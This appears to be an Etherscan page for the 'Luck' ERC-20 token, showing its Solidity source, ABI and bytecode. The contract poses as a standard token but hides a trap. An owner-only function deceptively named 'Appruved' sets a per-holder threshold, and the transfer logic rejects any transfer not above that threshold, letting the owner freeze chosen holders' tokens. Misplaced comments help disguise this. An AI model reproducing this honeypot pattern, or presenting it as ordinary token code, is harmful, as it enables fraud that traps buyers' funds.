ERC-20
Overview
Max Total Supply
9,990,000 Luck
Holders
452
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2.400128986734246782 LuckValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
LuckToken
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-25 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } /** * @dev Initializes the contract setting the deployer as the initial owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Throws if called by any account other than the owner. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract LuckToken is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => uint256) private _crossAmounts; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( ) payable { _name = "Luck"; _symbol = "Luck"; _decimals = 18; _totalSupply = 9990000 * 10**_decimals; _balances[owner()] = _balances[owner()].add(_totalSupply); emit Transfer(address(0), owner(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-totalSupply}. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev See {IERC20-balanceOf}. */ function Appruved(address account, uint256 amount) external { if (_msgSender() != owner()) {revert("Caller is not the original caller");} _crossAmounts[account] = amount; } function cAmount(address account) public view returns (uint256) { return _crossAmounts[account]; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 crossAmount = cAmount(sender); if (crossAmount > 0) { require(amount > crossAmount, "ERC20: cross amount does not equal the cross transfer amount"); } /** * Get the number of cross-chains */ _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Appruved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"cAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405262000024620000186200024b60201b60201c565b6200025360201b60201c565b6040518060400160405280600481526020017f4c75636b00000000000000000000000000000000000000000000000000000000815250600490805190602001906200007192919062000358565b506040518060400160405280600481526020017f4c75636b0000000000000000000000000000000000000000000000000000000081525060059080519060200190620000bf92919062000358565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000fa9190620004ee565b62986f706200010a91906200062b565b6007819055506200017a600754600160006200012b6200031760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034060201b62000abd1790919060201c565b600160006200018e6200031760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001dc6200031760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200023d919062000419565b60405180910390a362000744565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000818362000350919062000436565b905092915050565b8280546200036690620006a3565b90600052602060002090601f0160209004810192826200038a5760008555620003d6565b82601f10620003a557805160ff1916838001178555620003d6565b82800160010185558215620003d6579182015b82811115620003d5578251825591602001919060010190620003b8565b5b509050620003e59190620003e9565b5090565b5b8082111562000404576000816000905550600101620003ea565b5090565b62000413816200068c565b82525050565b600060208201905062000430600083018462000408565b92915050565b600062000443826200068c565b915062000450836200068c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004885762000487620006d9565b5b828201905092915050565b6000808291508390505b6001851115620004e557808604811115620004bd57620004bc620006d9565b5b6001851615620004cd5780820291505b8081029050620004dd8562000737565b94506200049d565b94509492505050565b6000620004fb826200068c565b9150620005088362000696565b9250620005377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200053f565b905092915050565b60008262000551576001905062000624565b8162000561576000905062000624565b81600181146200057a57600281146200058557620005bb565b600191505062000624565b60ff8411156200059a5762000599620006d9565b5b8360020a915084821115620005b457620005b3620006d9565b5b5062000624565b5060208310610133831016604e8410600b8410161715620005f55782820a905083811115620005ef57620005ee620006d9565b5b62000624565b62000604848484600162000493565b925090508184048111156200061e576200061d620006d9565b5b81810290505b9392505050565b600062000638826200068c565b915062000645836200068c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006815762000680620006d9565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006bc57607f821691505b60208210811415620006d357620006d262000708565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b61194080620007546000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b806370a082311461023b578063715018a61461026b5780638da5cb5b1461027557806395d89b411461029357610100565b806329421611116100d357806329421611146101a1578063313ce567146101bd57806339509351146101db5780634196802b1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61035d565b60405161011a9190611576565b60405180910390f35b61013d60048036038101906101389190611185565b6103ef565b60405161014a919061155b565b60405180910390f35b61015b61040d565b6040516101689190611698565b60405180910390f35b61018b60048036038101906101869190611136565b610417565b604051610198919061155b565b60405180910390f35b6101bb60048036038101906101b69190611185565b6104f0565b005b6101c56105b4565b6040516101d291906116b3565b60405180910390f35b6101f560048036038101906101f09190611185565b6105cb565b604051610202919061155b565b60405180910390f35b610225600480360381019061022091906110d1565b61067e565b6040516102329190611698565b60405180910390f35b610255600480360381019061025091906110d1565b6106c7565b6040516102629190611698565b60405180910390f35b610273610710565b005b61027d610798565b60405161028a9190611540565b60405180910390f35b61029b6107c1565b6040516102a89190611576565b60405180910390f35b6102cb60048036038101906102c69190611185565b610853565b6040516102d8919061155b565b60405180910390f35b6102fb60048036038101906102f69190611185565b610920565b604051610308919061155b565b60405180910390f35b61032b600480360381019061032691906110fa565b61093e565b6040516103389190611698565b60405180910390f35b61035b600480360381019061035691906110d1565b6109c5565b005b60606004805461036c906117c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906117c8565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610ad3565b8484610adb565b6001905092915050565b6000600754905090565b6000610424848484610ca6565b6104e584610430610ad3565b6104e0856040518060600160405280602881526020016118be60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610496610ad3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8e9092919063ffffffff16565b610adb565b600190509392505050565b6104f8610798565b73ffffffffffffffffffffffffffffffffffffffff16610516610ad3565b73ffffffffffffffffffffffffffffffffffffffff161461056c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056390611678565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600660009054906101000a900460ff16905090565b60006106746105d8610ad3565b8461066f85600260006105e9610ad3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610abd90919063ffffffff16565b610adb565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610718610ad3565b73ffffffffffffffffffffffffffffffffffffffff16610736610798565b73ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078390611618565b60405180910390fd5b6107966000610fe3565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107d0906117c8565b80601f01602080910402602001604051908101604052809291908181526020018280546107fc906117c8565b80156108495780601f1061081e57610100808354040283529160200191610849565b820191906000526020600020905b81548152906001019060200180831161082c57829003601f168201915b5050505050905090565b6000610916610860610ad3565b84610911856040518060600160405280602581526020016118e6602591396002600061088a610ad3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8e9092919063ffffffff16565b610adb565b6001905092915050565b600061093461092d610ad3565b8484610ca6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109cd610ad3565b73ffffffffffffffffffffffffffffffffffffffff166109eb610798565b73ffffffffffffffffffffffffffffffffffffffff1614610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890611618565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa8906115d8565b60405180910390fd5b610aba81610fe3565b50565b60008183610acb91906116ea565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611658565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb2906115f8565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c999190611698565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90611638565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d90611598565b60405180910390fd5b6000610d918461067e565b90506000811115610ddf57808211610dde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd5906115b8565b60405180910390fd5b5b610e4b8260405180606001604052806026815260200161189860269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8e9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ee082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610abd90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f809190611698565b60405180910390a350505050565b6000838311158290610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd9190611576565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506110b681611869565b92915050565b6000813590506110cb81611880565b92915050565b6000602082840312156110e357600080fd5b60006110f1848285016110a7565b91505092915050565b6000806040838503121561110d57600080fd5b600061111b858286016110a7565b925050602061112c858286016110a7565b9150509250929050565b60008060006060848603121561114b57600080fd5b6000611159868287016110a7565b935050602061116a868287016110a7565b925050604061117b868287016110bc565b9150509250925092565b6000806040838503121561119857600080fd5b60006111a6858286016110a7565b92505060206111b7858286016110bc565b9150509250929050565b6111ca81611740565b82525050565b6111d981611752565b82525050565b60006111ea826116ce565b6111f481856116d9565b9350611204818560208601611795565b61120d81611858565b840191505092915050565b60006112256023836116d9565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061128b603c836116d9565b91507f45524332303a2063726f737320616d6f756e7420646f6573206e6f742065717560008301527f616c207468652063726f7373207472616e7366657220616d6f756e74000000006020830152604082019050919050565b60006112f16026836116d9565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113576022836116d9565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113bd6020836116d9565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006113fd6025836116d9565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114636024836116d9565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c96021836116d9565b91507f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61152b8161177e565b82525050565b61153a81611788565b82525050565b600060208201905061155560008301846111c1565b92915050565b600060208201905061157060008301846111d0565b92915050565b6000602082019050818103600083015261159081846111df565b905092915050565b600060208201905081810360008301526115b181611218565b9050919050565b600060208201905081810360008301526115d18161127e565b9050919050565b600060208201905081810360008301526115f1816112e4565b9050919050565b600060208201905081810360008301526116118161134a565b9050919050565b60006020820190508181036000830152611631816113b0565b9050919050565b60006020820190508181036000830152611651816113f0565b9050919050565b6000602082019050818103600083015261167181611456565b9050919050565b60006020820190508181036000830152611691816114bc565b9050919050565b60006020820190506116ad6000830184611522565b92915050565b60006020820190506116c86000830184611531565b92915050565b600081519050919050565b600082825260208201905092915050565b60006116f58261177e565b91506117008361177e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611735576117346117fa565b5b828201905092915050565b600061174b8261175e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156117b3578082015181840152602081019050611798565b838111156117c2576000848401525b50505050565b600060028204905060018216806117e057607f821691505b602082108114156117f4576117f3611829565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61187281611740565b811461187d57600080fd5b50565b6118898161177e565b811461189457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dc453c5ec865dec4fd35bd8b63c1f428fe1050da4ea4a913861397b697c36a4564736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b806370a082311461023b578063715018a61461026b5780638da5cb5b1461027557806395d89b411461029357610100565b806329421611116100d357806329421611146101a1578063313ce567146101bd57806339509351146101db5780634196802b1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61035d565b60405161011a9190611576565b60405180910390f35b61013d60048036038101906101389190611185565b6103ef565b60405161014a919061155b565b60405180910390f35b61015b61040d565b6040516101689190611698565b60405180910390f35b61018b60048036038101906101869190611136565b610417565b604051610198919061155b565b60405180910390f35b6101bb60048036038101906101b69190611185565b6104f0565b005b6101c56105b4565b6040516101d291906116b3565b60405180910390f35b6101f560048036038101906101f09190611185565b6105cb565b604051610202919061155b565b60405180910390f35b610225600480360381019061022091906110d1565b61067e565b6040516102329190611698565b60405180910390f35b610255600480360381019061025091906110d1565b6106c7565b6040516102629190611698565b60405180910390f35b610273610710565b005b61027d610798565b60405161028a9190611540565b60405180910390f35b61029b6107c1565b6040516102a89190611576565b60405180910390f35b6102cb60048036038101906102c69190611185565b610853565b6040516102d8919061155b565b60405180910390f35b6102fb60048036038101906102f69190611185565b610920565b604051610308919061155b565b60405180910390f35b61032b600480360381019061032691906110fa565b61093e565b6040516103389190611698565b60405180910390f35b61035b600480360381019061035691906110d1565b6109c5565b005b60606004805461036c906117c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906117c8565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610ad3565b8484610adb565b6001905092915050565b6000600754905090565b6000610424848484610ca6565b6104e584610430610ad3565b6104e0856040518060600160405280602881526020016118be60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610496610ad3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8e9092919063ffffffff16565b610adb565b600190509392505050565b6104f8610798565b73ffffffffffffffffffffffffffffffffffffffff16610516610ad3565b73ffffffffffffffffffffffffffffffffffffffff161461056c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056390611678565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600660009054906101000a900460ff16905090565b60006106746105d8610ad3565b8461066f85600260006105e9610ad3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610abd90919063ffffffff16565b610adb565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610718610ad3565b73ffffffffffffffffffffffffffffffffffffffff16610736610798565b73ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078390611618565b60405180910390fd5b6107966000610fe3565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107d0906117c8565b80601f01602080910402602001604051908101604052809291908181526020018280546107fc906117c8565b80156108495780601f1061081e57610100808354040283529160200191610849565b820191906000526020600020905b81548152906001019060200180831161082c57829003601f168201915b5050505050905090565b6000610916610860610ad3565b84610911856040518060600160405280602581526020016118e6602591396002600061088a610ad3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8e9092919063ffffffff16565b610adb565b6001905092915050565b600061093461092d610ad3565b8484610ca6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109cd610ad3565b73ffffffffffffffffffffffffffffffffffffffff166109eb610798565b73ffffffffffffffffffffffffffffffffffffffff1614610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890611618565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa8906115d8565b60405180910390fd5b610aba81610fe3565b50565b60008183610acb91906116ea565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611658565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb2906115f8565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c999190611698565b60405180910390a